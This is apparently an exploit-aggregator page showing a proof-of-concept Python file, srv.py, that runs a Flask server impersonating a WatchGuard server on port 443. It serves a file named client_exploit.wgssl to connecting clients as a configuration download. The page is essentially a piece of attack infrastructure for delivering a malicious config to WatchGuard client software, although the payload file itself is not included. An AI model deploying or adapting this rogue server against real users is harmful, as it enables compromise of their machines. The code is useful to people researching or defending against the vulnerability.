4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / srv.py PY
from flask import Flask, Response

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def handle():
    CLIENT_CONFIG = open('client_exploit.wgssl', 'rb').read()

    return Response(
        CLIENT_CONFIG,
        mimetype='application/octet-stream',
        headers={'Content-Disposition': 'attachment; filename="client.wgssl"'}
    )

if __name__ == '__main__':
    print(f"[*] Starting Mock WatchGuard server on port 443...")

app.run(host='0.0.0.0', port=443, ssl_context=('server.crt', 'server.key'))